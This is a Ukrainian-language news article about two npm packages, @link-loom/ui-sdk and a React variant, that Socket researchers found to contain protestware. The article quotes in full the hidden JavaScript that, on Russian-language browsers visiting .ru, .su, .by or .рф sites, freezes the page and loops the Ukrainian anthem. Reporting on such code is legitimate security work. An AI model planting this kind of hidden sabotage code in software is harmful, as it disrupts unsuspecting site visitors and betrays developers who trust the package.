У пакетах npm виявили код, який циклічно відтворює гімн України для відвідувачів російських сайтів
Команда дослідження загроз Socket виявила два npm-пакети, які використовуються в JavaScript-розробці, з прихованим функціоналом для російськомовних користувачів, що регулярно відвідують російські сайти.
Пакети @link-loom/ui-sdk та @link-loom-react-sdk розроблені, щоб нібито допомогти розробникам створювати гарні спливаючі сповіщення у веб-застосунках. Однак, якщо користувач браузера з російською мовою в налаштуваннях відвідує російський веб-сайт, який використовує ці пакети JavaScript, то його чекає сюрприз: сайт зависає. Користувач не може нічого натиснути, прокручувати чи взаємодіяти будь-яким чином — поки безперервно грає гімн України.
Обидва пакети створені одним розробником, з кількома версіями, на які поширюється проблема (з 1.0.6 по 1.0.99 та з 1.0.100 по 1.0.151). Вони містять відому бібліотеку JavaScript SweetAlert2, яка створює модальні спливаючі вікна браузера, сумісні з React. SweetAlert2 розроблений для браузерних програм і широко використовується в інформаційних та адміністративних панелях, модальних вікнах продуктів тощо.
Пакет @link-loom/ui-sdk має понад 7000 завантажень і тому може впливати на будь-якого веб-розробника, який раніше його завантажував.
Розробники можуть використовувати ці уражені версії, не усвідомлюючи, що пакети зупиняють взаємодію з інтерфейсом користувача на веб-сайтах для будь-яких російськомовних користувачів, які відвідують російські або білоруські веб-сайти. Це підпадає під класифікацію протестного програмного забезпечення (protestware).
Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js вставлено код:
// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { var now = new Date(); var initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', "".concat(now)); } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(function () { document.body.style.pointerEvents = 'none'; var ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(function () { ukrainianAnthem.play()["catch"](function () { // ignore }); }, 2500); }, 500); } }
Перший рядок коду є комплексним if statement, що вимагає від користувача відповідності всім трьом наступним кваліфікаціям:
Для користувача, який відвідує російський або білоруський домен у своєму браузері, де встановлена російська мова, код працює так:
На завершення, користувачі, у яких в браузері встановлено російську мову та які відвідують домен .ru, .su, .by, або .рф принаймні вдруге та з інтервалом щонайменше три дні, не зможуть взаємодіяти з веб-сторінкою та зупинити циклічне відтворення гімну України. На екрані не буде помилок, журналів консолі чи візуальних підказок.
Google оголошує, що користувачі Gmail тепер можуть надсилати електронні листи з наскрізним шифруванням будь-кому, навіть…
У третьому кварталі (липень, серпень, вересень) на сервісі пошуку роботи jobs.dou.ua опублікувано 20899 IT-вакансій. Це…
Представники Google розкрили додаткові подробиці майбутньої верифікації Android-розробників, яка почнеться в 2026 році. За реєстрацію…
Microsoft анонсувала нову потужну функцію для Python-розробників у Microsoft Excel для Windows: редагування ініціалізації. Вона…
Google додає в Jules інтерфейс командного рядка та публічний API, що дозволяє цьому інструменту кодування…
Хакерське угруповання Crimson Collective зламало приватні GitHub-репозиторії компанії Red Hat, яка займається розробкою корпоративного програмного…